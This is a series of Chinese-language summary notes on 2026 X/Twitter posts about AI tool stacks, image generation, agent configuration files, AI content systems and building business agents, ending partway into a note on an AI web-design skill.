AI工具
ChatGPT 回歸：2026 年最新 AI 工具堆疊指南 (ChatGPT is back)
"這是一篇極具實用價值的 2026 年 AI 產品選擇指南。作者 Ruben Hassid 指出，AI 模型的演進速度太快，導致「萬能單一應用 (Super App)」的幻想破滅。目前的最佳實踐是：用 Claude Cowork 處理需要深度上下文的文字寫作，用全新升級的 ChatGPT 處理圖像生成（已超越 Midjourney）、網頁深度搜尋與 Excel/Sheets 數據處理，並用 Gemini 處理小語種。"
---
tags: [AI工具, 產品評測, 工作流]
date: 2026-04-26
source: "20260512_2026-04-28T092615+0800-ChatGPT is back..md"
---
# ChatGPT 回歸：2026 年最新 AI 工具堆疊指南 (ChatGPT is back)
原始來源與檔名：20260512_2026-04-28T092615+0800-ChatGPT is back..md
來源：[[@rubenhassid]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092615+0800-ChatGPT is back..md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The 2026 AI Stack:
> ✍️ Writing/Brainstorming = Claude Cowork (Folders + Context)
> 🎨 Images/Design = ChatGPT-5.5 (Text rendering, precise ratios)
> 📊 Spreadsheets = ChatGPT Google Sheets Extension (Heavy Model)
> 🔍 Deep Search = ChatGPT Deep Research
> 🌐 Non-English = Gemini
> 📈 Presentations = Gamma (via ChatGPT Studio)
_在 Claude 統治了工作流幾個月後，ChatGPT 憑藉全新的 5.5 版本（包含最強的圖像生成、深度搜尋與原生 Google Sheets 擴充功能）強勢回歸。作者打破了「只要訂閱一個 AI 就夠了」的迷思，提出了一個針對不同任務的動態 AI 工具堆疊方案。_
### 一句話
> 這是一篇極具實用價值的 2026 年 AI 產品選擇指南。作者 Ruben Hassid 指出，AI 模型的演進速度太快，導致「萬能單一應用 (Super App)」的幻想破滅。目前的最佳實踐是：用 Claude Cowork 處理需要深度上下文的文字寫作，用全新升級的 ChatGPT 處理圖像生成（已超越 Midjourney）、網頁深度搜尋與 Excel/Sheets 數據處理，並用 Gemini 處理小語種。
### 餐巾紙草圖
```text
[ AI Tool Stack 2026 ]
Writing:
[ Claude Cowork ] -> Uses Folders (About Me, Company) -> High Context
Images & Spreadsheets & Search:
[ ChatGPT 5.5 ] -> Uses "Thinking" -> High Accuracy & Deep Research
Presentations:
[ Gamma ] (Script generated by ChatGPT Studio)
Non-English Languages:
[ Gemini ]
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現狀**: 過去幾個月，Claude（特別是 Claude Cowork）是無可爭議的王者。但現在 ChatGPT 發布了重大更新。
- **Claude 的優勢**: 依然是寫作與思考的王者。因為它的「資料夾 (Folders)」機制能提供完美的上下文（如：公司資訊、個人寫作風格），不用每次重複提示。
- **ChatGPT 回歸的三大殺手鐧**:
1. **圖像生成**: 開啟 "Thinking" 模式後，能完美生成帶有精確文字的品牌視覺、海報、假 UI 介面，甚至能直接修改長寬比。
2. **Google Sheets 原生整合**: 推出直接嵌在 Sheets 旁邊的外掛，使用 Heavy 模型，能自主建立分頁、寫公式、產出 Dashboard。
3. **深度搜尋 (Deep Research)**: 能花費超過 1 小時進行極度深度的網路檢索，完勝 Grok 和 Claude 的搜尋。
- **其他輔助工具**:
- Gemini: 用於非英語系工作。
- Gamma: 用於製作簡報（配合 ChatGPT 寫的腳本）。
- **結論**: 不要試圖尋找唯一的 AI。依照你的任務屬性（寫作 vs. 製圖/表格）切換 Claude 和 ChatGPT。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **工作流的細分化**: 不同的工作對 AI 的要求不同。寫作需要「長期記憶與上下文一致性」（Claude 擅長）；而數據分析和繪圖需要「精確的數學推理與 API 整合」（ChatGPT 擅長）。
2. **圖像生成的代差**: 文章中展示了大量 ChatGPT 生成的圖像（如完美拼寫的法文醫學圖表、逼真的 UI 介面、複雜的爆炸拆解圖）。這證明了它已經克服了以往 AI 畫圖「無法生成準確文字」的致命傷。
3. **數據處理的摩擦力**: 以前用 AI 處理 Excel，需要下載 CSV、上傳、再下載，摩擦力極大。ChatGPT 直接推出 Google Sheets 擴充功能，將 AI 原生地嵌入了工作空間，這是流程上的巨大勝利。
### 關鍵證據
- 實測數據：ChatGPT 的 Deep Research 模式為了一個搜尋請求可以運行 1 小時 14 分鐘，產出極其詳盡的報告；而 Claude 的 Research 模式只花 6 分鐘，較為簡略。
### 邊界條件
- 同時訂閱多個 AI 工具（Claude, ChatGPT, Gemini, Gamma）會帶來顯著的訂閱成本與介面切換成本。這套多重堆疊方案最適合願意為生產力付費的重度使用者或企業老闆，而非偶爾使用的輕度玩家。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《BestBlogs 每日早报 EP41》中提到的「AI 工具堆疊的演進」，也驗證了《GPT Image 2 能批量生图了》中提到的 AI 生圖在排版上的突破。
- **深層洞見**: **"The market doesn't care about our need for simplicity." (市場不在乎我們對簡單的需求。) ** 企業和使用者都想要一個 All-in-one 的發票，但科技的演進是殘酷的。誰在某個細分領域最強，你就得用誰，這就是 AI 原生時代的生存法則。
- **行動呼籲**:
1. 檢查你的 Claude：是否善用了「資料夾 (Folders)」來儲存你的「About Me」和「Brand Voice」？
2. 檢查你的 ChatGPT：去安裝官方的 Google Sheets 擴充功能，下次做報表時，直接在右側對話框讓 AI 幫你寫公式建 Dashboard。
AI工具
GPT Image 2 批量生圖與設計實戰 (GPT Image 2: Batch Generation and Design Workflows)
"這是一篇展示 GPT Image 2 實戰潛力的圖文指南。作者測試了 22 個真實場景，證明了新模型在「多文字穩定性」、「世界知識」與「設計美學」上的飛躍。搭配 Lovart 工具，使用者可以進行精準修改 (TouchEdit)、大量同風格生圖、甚至生成包含三視圖的完整 IP 形象與周邊產品展示。AI 已經能夠產出具備呼吸感與版面層次的工業級設計原稿。"
---
tags: [AI工具, 視覺設計, 工作流, 產品原案]
date: 2026-04-27
source: "20260512_2026-04-28T092502+0800-GPT Image 2 能批量生图了，22 个真实场景和提示语一口气学会！.md"
---
# GPT Image 2 批量生圖與設計實戰 (GPT Image 2: Batch Generation and Design Workflows)
原始來源與檔名：20260512_2026-04-28T092502+0800-GPT Image 2 能批量生图了，22 个真实场景和提示语一口气学会！.md
來源：[[@aiwarts]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092502+0800-GPT Image 2 能批量生图了，22 个真实场景和提示语一口气学会！.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Design Workflow 2026 = GPT Image 2 (World Knowledge & Typography) + Lovart (Precision Edit & Batching)
> Result: Instant Info-graphics, IP character sheets, UI mockups, Game assets.
_GPT Image 2 全量上線後，其處理大量文字與設計排版的能力令人震驚。結合 Lovart 這類整合工具，你可以用極其簡單的自然語言，瞬間產出複雜的熱量圖鑑、品牌海報、UI 介面，甚至是遊戲的抽卡結算畫面。這不是單純的生圖，而是設計工作流的降維打擊，設計師的職能正在被重新定義。_
### 一句話
> 這是一篇展示 GPT Image 2 實戰潛力的圖文指南。作者測試了 22 個真實場景，證明了新模型在「多文字穩定性」、「世界知識」與「設計美學」上的飛躍。搭配 Lovart 工具，使用者可以進行精準修改 (TouchEdit)、大量同風格生圖、甚至生成包含三視圖的完整 IP 形象與周邊產品展示。AI 已經能夠產出具備呼吸感與版面層次的工業級設計原稿。
### 餐巾紙草圖
```text
[The GPT Image 2 Capabilities]
1. Information Graphics:
Prompt -> High-density text charts (e.g. Calorie analysis, history maps)
* Key win: Small text remains stable and readable.
2. IP & Branding:
Prompt -> Character Sheet (3-views, expressions) -> Extract via TouchEdit -> Product Mockups.
3. UI & Game Design:
Prompt -> Fully scaled App UI / Game battle screens with HUDs.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心升級**: Image 2 模型在「多文字穩定性」上有巨大提升，非常適合做圖鑑與資訊圖表（Info-graphics）。
- **工具結合 (Lovart)**:
- **TouchEdit**: 指哪打哪，例如圈選圖中的某隻貓，直接替換成狗。
- **批量生成 (Agent)**: 設定好一張資訊圖表的排版後，自動批量生成 10 張其他主題但風格一致的圖表。
- **應用場景實測**:
- **IP 設計**: 一句話生成帶有三視圖、表情包、個人簡介的 IP 形象，並可延伸生成抱枕周邊與 3D 旋轉展示。
- **世界知識與懷舊**: 精準還原 QQ 農場、4399 遊戲介面。
- **平面海報**: 掌握中式美學與留白，排版主次分明（新店開幕、電影排期表、香水廣告）。且支援直接編輯海報上的文字而不破壞原圖。
- **UI 與遊戲介面**: 自動適配手機長螢幕比例，生成記帳、天氣、健康、外賣 App 介面；精準生成遊戲抽卡畫面、戰鬥介面（含血條、大招圖示）、甚至遊戲世界地圖。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **從「生圖」到「排版設計」**: 過去的 Midjourney 或 DALL-E 3 只能生成「素材」，排版與加字必須進 Photoshop。Image 2 的突破在於它理解了「字體排印學 (Typography)」與「視覺層級 (Visual Hierarchy)」，直接輸出了可交付的海報與 UI。
2. **世界知識的映射**: 能夠畫出 QQ 農場，代表模型吸收了極其龐大的互聯網視覺文化。這讓產品經理或企劃能用「意象」去生圖，而不需要描述具體的像素位置。
3. **工作流的閉環**: 透過類似 Lovart 的外掛層，解決了 AI 生圖最難的「局部修改」與「批量一致性」問題，正式將 Image 2 推入了商業生產可用階段。
### 關鍵證據
- 視覺成果：文章展示了數十張實測圖，無論是含有大量數據標籤的「赤壁之戰歷史分析圖」，還是字體精緻的「香水上市海報」，文字都沒有出現亂碼，且排版具備專業設計師的呼吸感。
### 邊界條件
- 雖然生圖能力極強，但這種生成的 UI 與介面依然是「點陣圖（Bitmap）」而非帶有元件結構的向量檔（Figma/Sketch）。目前最適合用於前期提案、原型溝通與視覺定調，距離直接匯出成前端程式碼還有一步之遙。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Markdown还是HTML？这是个蠢问题！》一文中的概念：人類只需要提供底層的邏輯與文本 (Markdown / Prompt)，繁重的視覺渲染與排版工作 (HTML / UI 圖) 完全由 AI 吸納。
- **深層洞見**: **"设计师这回真的不需要设计了。"** 這句話背後的意思不是設計師失業，而是設計師的職能從「畫圖 (Drafting)」變成了「策展與品味判斷 (Curation and Taste)」。當產出一張高級海報只需 10 秒，決勝點在於誰能連續判斷出哪張圖最符合商業目標。
- **行動呼籲**:
下次你需要製作簡報的插圖或新產品的 Mockup 時，不要再打開圖庫網站搜尋。直接用這套工作流，將你的草稿或數據餵給 Image 2，加上一句 "Design a professional infographic/UI mockup with clear visual hierarchy and modern typography." 讓它直接給你完成品。
AI工具
Hermes 分析師工作流精華：Agent 的三層架構 (Hermes Analyst Workflow Essentials: The Three-Layer Stack)
"這篇文章由一位投資研究員分享了他使用登頂 OpenRouter 榜單的 Hermes Agent 的實戰經驗。他提出了 Agent 設計的「三層架構（身分、知識、工具）」，並指出多數使用者忽視了最關鍵的「身分層 (Soul.md)」。此外，他分享了如何選擇最具性價比的推理模型（如 OpenCode Go 與 DeepSeek），以及如何治理 Agent 自動生成的 Skills 與 Cron jobs，避免系統臃腫導致的 Token 浪費。"
---
tags: [AI工具, Agent架構, Hermes, 工作流, 實踐指南]
date: 2026-05-04
source: "20260512_2026-05-12T092935+0800-Hermes Analyst Workflow Essentials.md"
---
# Hermes 分析師工作流精華：Agent 的三層架構 (Hermes Analyst Workflow Essentials: The Three-Layer Stack)
原始來源與檔名：20260512_2026-05-12T092935+0800-Hermes Analyst Workflow Essentials.md
來源：[[@0xJeff]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-12T092935+0800-Hermes Analyst Workflow Essentials.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Quality = Identity (Soul.md) [High ROI] + Knowledge (User.md + Memory) + Tools (Skills) [Table Stakes]
> Tool Bloat = Token Waste + Infinite Loops
_多數人配置 Agent 就像發給員工一堆工具（API, 爬蟲），卻從不告訴員工他是誰、老闆是誰。真正的投資回報（ROI）來自於花兩三個小時打磨 `Soul.md`（定義 Agent 的性格與價值觀）和 `User.md`（定義你的偏好與投資框架）。沒有靈魂層，它只是一個帶著工具的通用聊天機器人。_
### 一句話
> 這篇文章由一位投資研究員分享了他使用登頂 OpenRouter 榜單的 Hermes Agent 的實戰經驗。他提出了 Agent 設計的「三層架構（身分、知識、工具）」，並指出多數使用者忽視了最關鍵的「身分層 (Soul.md)」。此外，他分享了如何選擇最具性價比的推理模型（如 OpenCode Go 與 DeepSeek），以及如何治理 Agent 自動生成的 Skills 與 Cron jobs，避免系統臃腫導致的 Token 浪費。
### 餐巾紙草圖
```text
[The Agent Three-Layer Stack]
[Layer 1: Identity (Soul.md)] -> 🧠 The Engine (Highest ROI)
Defines: "Who am I? What is my voice? What are my constraints?"
[Layer 2: Knowledge (User.md + Memory)] -> 🗂️ The Context
Defines: "Who is Jeff? What are his investment theses? What did we discuss last time?"
[Layer 3: Tools (Config + Skills)] -> 🛠️ The Limbs (Table Stakes)
Defines: "How do I fetch data? (e.g., Browser Harness, Dune APIs)"
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **前提**: Hermes 成為市場上最好的 Agent 編排層 (Harness)。作者作為投資人，將其作為「副腦」來加速資訊消費。
- **三層架構**:
1. **Identity (Soul.md)**: 定義 Agent 的靈魂與聲音，耗時最長，回報最高。
2. **Knowledge (User.md + Memory)**: 定義主人的偏好與歷史，不斷複利。
3. **Tools (Config + Skills)**: 執行工具，最基礎但也最容易本末倒置。
- **模型配置策略 (Model Config)**: 拒絕昂貴的訂閱，推薦使用 OpenCode Go ($5) 串接頂級開源模型 (Kimi, GLM, MiniMax) 作為基礎池，並搭配 DeepSeek Pro 處理複雜任務。
- **技能與工具治理 (Skills & Tools)**: Hermes 會自動為重複動作創建 Skill。警告：如果不手動清理失效的工具與 Skill，系統會陷入「嘗試錯誤工具 -> 浪費 Token」的臃腫迴圈。推薦 Browser Harness 作為萬用解。
- **記憶體管理 (External Memory)**: 使用 Hindsight 作為外部記憶提供者，維持核心記憶體的精簡。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎能力被商品化，靈魂才是護城河**: API 存取、定時任務 (Cron)、瀏覽器爬蟲等「工具層」能力已經是所有 Agent 框架的標配 (Table stakes)。真正決定 Agent 產出品質的，是它是否理解主人的「底層假設」。作者在 `Soul.md` 中寫死「用單位經濟學 (Unit Economics) 的視角審視一切」，這才讓 Hermes 從客服機器人變成了華爾街分析師。
2. **自動化帶來的技術債 (Skill Bloat)**: Hermes 的亮點是 Auto-skill（自動建置技能），但這是一把雙面刃。Agent 會記住失敗的工具調用邏輯並反覆執行。人類必須承擔「系統管理員」的角色，定期修剪 (Prune) 這些自動生成的冗餘腳本，否則會造成隱性的 Token 消耗黑洞。
3. **記憶的分層**: 本地記憶體（如 `Memory.md`）必須極度精簡，只記住核心原則。龐大的事實知識（如過去三個月讀過的文章）必須下放給外部記憶體提供商（如 Hindsight），以防撐爆上下文視窗。
### 關鍵證據
- 作者分享了具體的模型調度策略（MiniMax 處理快速基礎任務，DeepSeek/Kimi 處理 Delegate_task），這是經過大量實測得出的成本/效能最佳化方案。
### 邊界條件
- 此架構依賴高頻、高品質的人機互動來「養」Agent。如果使用者沒有清晰的個人框架（Theses）或投資哲學，`User.md` 就無物可寫，Agent 的表現依然會趨於平庸。
## ROUND 3: SOUL | 靈魂提取
**"還能怎麼用"**
- **知識連結**: 呼應了我們先前讀到的《Meta-Meta-Prompting》中 Garry Tan 的 "Thin Harness, Fat Skills, Fat Data" 原則。Hermes 正是一個出色的 Thin Harness。此外，作者對於 `Soul.md` 與 `User.md` 的重視，完全契合了《如何用兩套 Prompt 建立知識體系》中提到的「Persona (角色)」威力。
- **深層洞見**: **「Talk to your Hermes... you'll get to reflect, learn more about yourself.」** 定義 Agent 的過程，本質上是一次強制的「自我反思」。當你試圖在 `User.md` 中寫下「我是誰、我的決策依據是什麼」時，你其實是在梳理自己大腦中混亂的默會知識。
- **行動呼籲**:
今天就打開你的 Agent 配置檔（無論是 Claude Code 還是 Cursor Rules），建立兩個檔案：
1. `Soul.md`：寫下三條它必須遵守的核心思維模式（例如：永遠先給結論、永遠質疑我的假設）。
2. `User.md`：寫下你的職業背景、當前最重要的三個目標，以及你最討厭的溝通方式。
AI工具
打造 AI 內容增長飛輪：500 萬曝光的系統架構 (Building an AI Content OS for 5M Impressions)
"這是一位在兩週內獲得 500 萬次 X (Twitter) 曝光的創作者分享的 AI 內容系統架構。文章詳述了如何摒棄無效的「巨型提示詞」，轉而建構一個包含 Strategy (策略), Voice (語氣護欄), Stores (記憶體), Runs (任務實例) 等模組的檔案目錄。作者提供了 4 個可直接複製的生產級 Prompt，強調了將模型能力分工（Orchestrator 負責路由，Writer 負責寫作），並推薦使用 Postiz 作為最終的自動發布層，完成內容產出的飛輪閉環。"
---
tags: [AI工具, 內容生成, Agent實踐, 工作流, 最佳實踐]
date: 2026-03-24
source: "20260512_2026-05-12T093013+0800-How to build your content system with AI (and get to 5M impressions).md"
---
# 打造 AI 內容增長飛輪：500 萬曝光的系統架構 (Building an AI Content OS for 5M Impressions)
原始來源與檔名：20260512_2026-05-12T093013+0800-How to build your content system with AI (and get to 5M impressions).md
來源：[[@shannholmberg]] / X (Twitter) — 2026-03-24
原始檔名：`2026-05-12T093013+0800-How to build your content system with AI (and get to 5M impressions).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad AI Content = Vague Prompt + Generic Model -> Slop
> Good AI Content = Curated Context (Identity + Avoid-Slop list) + Role-Split Agents (Writer vs. Orchestrator) -> Bookmarkable Value
_多數人用 AI 寫作失敗，是因為他們把 AI 當成會讀心術的打字機，丟進一句模糊的提示詞就期待爆款。真正的作法是建立一個 Content OS（內容作業系統）：把「排程編排」和「品味寫作」交給不同的模型；用嚴格的 12 分量表 (Bookmarkability) 來審核；並且在每次草稿生成前，餵給模型一個精確的 Context Packet（上下文封包）和避免 AI 味的黑名單。這不是自動駕駛，這是動力裝甲。_
### 一句話
> 這是一位在兩週內獲得 500 萬次 X (Twitter) 曝光的創作者分享的 AI 內容系統架構。文章詳述了如何摒棄無效的「巨型提示詞」，轉而建構一個包含 Strategy (策略), Voice (語氣護欄), Stores (記憶體), Runs (任務實例) 等模組的檔案目錄。作者提供了 4 個可直接複製的生產級 Prompt，強調了將模型能力分工（Orchestrator 負責路由，Writer 負責寫作），並推薦使用 Postiz 作為最終的自動發布層，完成內容產出的飛輪閉環。
### 餐巾紙草圖
```text
[The Content OS Architecture]
[Signal Layer (External)] + [Knowledge Graph (Internal)]
| |
v v
[ Strategy + Voice + Stores (Context Rules) ]
|
v
[ Production Leader (GPT-5.5) ] -> Creates 'Run Folder' for specific post
|
v
[ Writer Agent (Opus 4.7) ] -> Reads 'Brief.md' + 'Avoid-Slop.md' -> Drafts
|
v
[ Human Verification & Feedback ] -> Write back to Stores -> [ Publish via Postiz ]
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **目標**: 不是追求「讚 (Likes)」，而是追求「書籤 (Bookmarks)」。書籤代表未來的效用（如清單、框架、步驟）。
- **架構原則**: 不使用單一巨型提示詞，而是建立一個目錄結構 (`/strategy`, `/voice`, `/stores`, `/runs`)，讓每一篇貼文作為一個獨立的「物件 (Object)」經歷生命週期。
- **四條創作路徑**: Original (原創), Repurpose (改寫自有內容), Rewrite (轉譯外部內容), Research+Ideate (研究發想)。
- **核心防線 (Master Avoid-Slop)**: 建立一份黑名單，禁止 AI 使用諸如 "game-changing", "delve into" 等字眼，禁止使用過多的破折號與無意義的總結。這是區分 AI 垃圾與人類洞見的關鍵。
- **寫手上下文封包 (Writer Context Packet)**: 不要把整個品牌指南餵給 AI。每一篇貼文只給予這篇需要的：Thesis (論點), Reader (受眾), Proof (證據), Constraints (限制)。
- **模型分工**: 寫作交給 Claude 3 Opus 4.7 (品味、語感)，編排路由交給 GPT-5.5 (邏輯、檔案操作)。
- **基礎設施**: 可以跑在 VPS 或 Hermes Agent 上，最終輸出丟給開源排程工具 Postiz。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Prompt Engineering 已經失效，Context Engineering 才是王道**: 將所有公司歷史塞進一個 prompt 會導致 AI 寫出安全但平庸的「糊狀物 (Mush)」。只有針對單次任務精準投放的 `brief.md`，才能讓 AI 的注意力集中在「這篇文章」的具體論點上。
2. **拆分抽象的「品味」為具體的「檢核表」**: 作者提出了一個 12 分的 "Bookmarkability Rubric"（書籤潛力量表，如：是否包含具體數字證據？是否有截圖？）。這讓 AI 的評分與人類的審核標準對齊，將「寫得好」這個主觀標準轉化為工程上可測試的參數。
3. **解構「AI 味道」**: 文章中提到的 Prompt 4 (Viral Postmortem) 極具啟發性。不允許 AI 說「這鉤子寫得好」，強制它指出「具體是哪一行生效？讀者會截圖哪一行？」。這逼迫模型脫離陳詞濫調，進行實質的機制分析。
### 關鍵證據
- 兩週 5M 曝光、兩個月 11M 曝光與 100K 書籤的真實營運數據。
- 明確展示了 4 個 Production-grade Prompts 的運作細節與輸出範例，證明這不是理論，而是跑在生產線上的代碼。
### 邊界條件
- **不可妥協的前提**: 「永遠不要發布未經編輯的草稿 (never publish unedited)」。這套系統是加速器，不是自動駕駛。一旦人類放棄了最終的審核與反饋寫入，系統輸出的品質會迅速衰退至平庸。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了我們先前關於 `CLAUDE.md` 紀律的討論。本文中的 `Master Avoid-Slop Document` 就是內容創作領域的 `CLAUDE.md`。同時，"Writer" 與 "Orchestrator" 的分離，正是 "Hermes Agent" 中 Auto-think 與 Auto-build 職責分離的體現。
- **深層洞見**: **"A tight packet beats a giant context window almost every time." (一個緊湊的資料包幾乎每次都能擊敗巨大的上下文視窗。)** 這是大模型時代的反直覺真理。給模型越多的資料，它越容易失去焦點；精確的約束，反而能逼出模型的創造力。
- **行動呼籲**:
立刻為你的個人寫作或工作匯報建立一份 `avoid-slop.md`。寫下你最討厭看到的 5 個詞（例如「賦能」、「抓手」、「game-changing」），下次讓 AI 幫你潤稿時，強制它套用這份黑名單。你會驚訝地發現文章瞬間變得多麼像人類寫的。
AI工具
打造企業級高價值 AI Agent 的 7 步指南 (How to Build Your First $10K+ AI Agent)
"這是一篇面向非技術人員的 AI Agent 落地指南。文章指出，隨著 Claude Managed Agents 的推出，建構全天候自主運行的 Agent 門檻已大幅降低。作者分享了 7 個標準步驟：從選擇具體任務、定義崗位說明書（系統 Prompt），到賦予工具權限、快速破壞與修復迭代，最終實現多 Agent 協同（如 2026 年 5 月剛上線的 20 個 Agent 協作功能）。文章強調，Agent 的商業價值在於「獨立完成端到端的工作流」，而非回答問題。"
---
tags: [AI工具, 商業模式, Agent實踐, 自動化]
date: 2026-05-09
source: "20260512_2026-05-12T093043+0800-如何打造第一个 AI Agent，让企业愿意支付 1 万美元以上.md"
---
# 打造企業級高價值 AI Agent 的 7 步指南 (How to Build Your First $10K+ AI Agent)
原始來源與檔名：20260512_2026-05-12T093043+0800-如何打造第一个 AI Agent，让企业愿意支付 1 万美元以上.md
來源：[[@nini_incrypto_]] (原作者 [[@eng_khairallah1]]) / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T093043+0800-如何打造第一个 AI Agent，让企业愿意支付 1 万美元以上.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Chatbot = Wait for query -> Answer -> Stop
> Agent = Goal -> Break into steps -> Use tools -> Self-check -> Deliver outcome
> High Value Agent = Extreme Specificity + Tool Access + Automated Routines
_一年前做 Agent 需要自己搞定沙箱、API 和狀態管理。現在 Anthropic 推出了 Claude Managed Agents，基礎設施已完全雲端化。不要把 Agent 當作無所不能的神，把它當作一個新進員工：給它一個極度明確的角色（如：競品分析師），設定成功標準與禁止事項，賦予它操作 Slack 或 GitHub 的工具權限，然後透過自動化排程讓它在半夜默默為企業產生價值。這就是企業願意支付一萬美元以上的自動化解決方案。_
### 一句話
> 這是一篇面向非技術人員的 AI Agent 落地指南。文章指出，隨著 Claude Managed Agents 的推出，建構全天候自主運行的 Agent 門檻已大幅降低。作者分享了 7 個標準步驟：從選擇具體任務、定義崗位說明書（系統 Prompt），到賦予工具權限、快速破壞與修復迭代，最終實現多 Agent 協同（如 2026 年 5 月剛上線的 20 個 Agent 協作功能）。文章強調，Agent 的商業價值在於「獨立完成端到端的工作流」，而非回答問題。
### 餐巾紙草圖
```text
[The 7-Step Enterprise Agent Pipeline]
1. Scope: ONE specific task (e.g., "Daily Bug Triage")
2. Role (System Prompt): "You are a QA Triage Analyst. Output = Prioritized list. DO NOT hallucinate."
3. Setup: Claude Cowork / Managed Agents UI
4. Tools: Connect GitHub, Linear, Slack via API
5. Iterate: Break it 5 times -> Refine constraints
6. Automate: Add /schedule (Run every night at 2 AM)
7. Scale: Multi-Agent Handoff (Researcher -> Analyst -> Reporter)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **範式轉移**: Agent 不是聊天機器人。聊天機器人是被動的，Agent 是接受目標、拆解步驟、調用工具並交付成果的「虛擬員工」。
- **基礎設施革命**: Claude Managed Agents 消除了開發者自己維護沙箱、記憶、憑證與錯誤恢復的負擔。
- **建構步驟**:
1. **明確任務**: 拒絕大而全，選擇具體、可重複的任務（如每週掃描競品網站）。
2. **定義角色**: 系統 Prompt 必須包含：角色、成功標準、禁止事項、異常處理。
3. **非技術設置**: 在 Claude 桌面端的 Cowork 標籤，用自然語言指定目錄與任務。
4. **賦予工具**: 讓 Agent 具備讀寫檔案、搜索網頁、連接 Slack/GitHub 的能力。
5. **測試與修復**: 預期前幾次會失敗。失敗是優化 Prompt 邊界的最佳信號。
6. **自動化排期**: 透過 Routines 設定定時觸發（如半夜執行）。
7. **擴展系統**: 從單一 Agent 擴展到多 Agent 協作（如研究 -> 分析 -> 發送報告）。
- **新手三大錯誤**: 任務太廣、上下文不足、缺乏迭代耐心。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎設施的抽象化釋放了商業潛力**: 過去，建構 Agent 的預算大多花在 DevOps（維護雲端容器、API 金鑰安全）。Managed Agents 把這些底層複雜度封裝後，商業競爭的核心便轉移到了「業務邏輯的定義（Prompt 護欄）」上。這為沒有硬核編程背景但懂業務的從業者打開了巨大的套利空間。
2. **極致的具體性 (Extreme Specificity) 是可靠性的前提**: 作者反覆強調不要使用「有幫助的助手」這種 Prompt。必須將邊界定死（如「網站宕機則記錄並跳過，不得重試超過兩次」）。大模型在受限的單一軌道上，其表現遠優於在開放空間中的摸索。
3. **從「對話」到「非同步工作流」的躍遷**: 真正的 Agent 價值在於第 6 步的自動化排期（Schedule）。當人類在睡覺，Agent 在半夜拉取 Linear 的 Bug、分類並發送到 Slack 時，它才真正成為了「勞動力」，而不只是「工具」。
### 關鍵證據
- 點出了 Anthropic 在 2026 年 5 月 6 日上線的「最多 20 個 Agent 協作功能」以及 Routines 的研究預覽。這些時間點與功能的準確性，證明了這是基於最新技術前沿的實戰總結，而非空泛的理論。
### 邊界條件
- 雖然文章強調「非技術人員也能做」，但在第 4 步「賦予工具（連接 API）」及第 5 步「修復邊界條件」時，依然需要極強的邏輯抽象能力與對 JSON/API 運作機制的基礎理解。完全沒有技術直覺的麻瓜依然會卡關。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文具體實現了我們在《賺錢的第一性原理》中提到的「系統化」與「槓桿」概念。Claude Managed Agents 就是那個邊際成本極低的槓桿，而這 7 個步驟就是打造賺錢系統的 SOP。
- **深層洞見**: **"Prompt 模糊 → agent 模糊；Prompt 精確 → agent 可靠。"** 這句話道出了 Agent 工程的本質。你不是在寫代碼，你是在「編寫制度」。企業願意花 1 萬美元買的，不是呼叫 Claude 的那段 API 程式碼，而是你為這個虛擬員工量身定制的「防呆制度與工作流」。
- **行動呼籲**:
1. 選定你工作中最繁瑣、最機械化的一項「定時任務」（例如：每早整理昨天的客服客訴）。
2. 按照文章的第 2 步，寫下一份包含「角色、成功標準、禁止事項、異常處理」的崗位說明書。
3. 使用 Claude 或 Cursor 進行第一次的自動化跑批測試。從今天開始雇傭你的第一個數位員工。
AI工具
拒絕「一眼 AI」：復刻 Claude Design 的高級審美 Skill (Rejecting AI Vibe: The Claude Design Skill)
"這是一篇解決 AI 產出「審美降級」問題的工具實戰文。作者拆解了優秀 AI 網頁設計的底層邏輯，指出關鍵在於「動態角色切換」、「客觀驗證環節」、使用 OKLCH 色彩系統保持感知均勻，以及「大膽留白」。透過作者開發的專屬 Skill，開發者可以在終端機中選擇 Quick/Standard/Deep 三種工作流，強制 AI 放棄原有的農場審美，產出具備呼吸感與商業級品味的 UI 介面。"
---
tags: [AI工具, 視覺設計, 開發範式]
date: 2026-04-23
source: "20260512_2026-04-28T092601+0800-拒绝“一眼 AI”的塑料感：这套 Skill复刻了 Claude Design，让网页设计重回高级审美！.md"
---
# 拒絕「一眼 AI」：復刻 Claude Design 的高級審美 Skill (Rejecting AI Vibe: The Claude Design Skill)
原始來源與檔名：20260512_2026-04-28T092601+0800-拒绝“一眼 AI”的塑料感：这套 Skill复刻了 Claude Design，让网页设计重回高级审美！.md
來源：[[@binghe]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092601+0800-拒绝“一眼 AI”的塑料感：这套 Skill复刻了 Claude Design，让网页设计重回高级审美！.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Generic AI Design = HSL Colors (Bright/Plastic) + Emoji Icons + Cramped Layout.
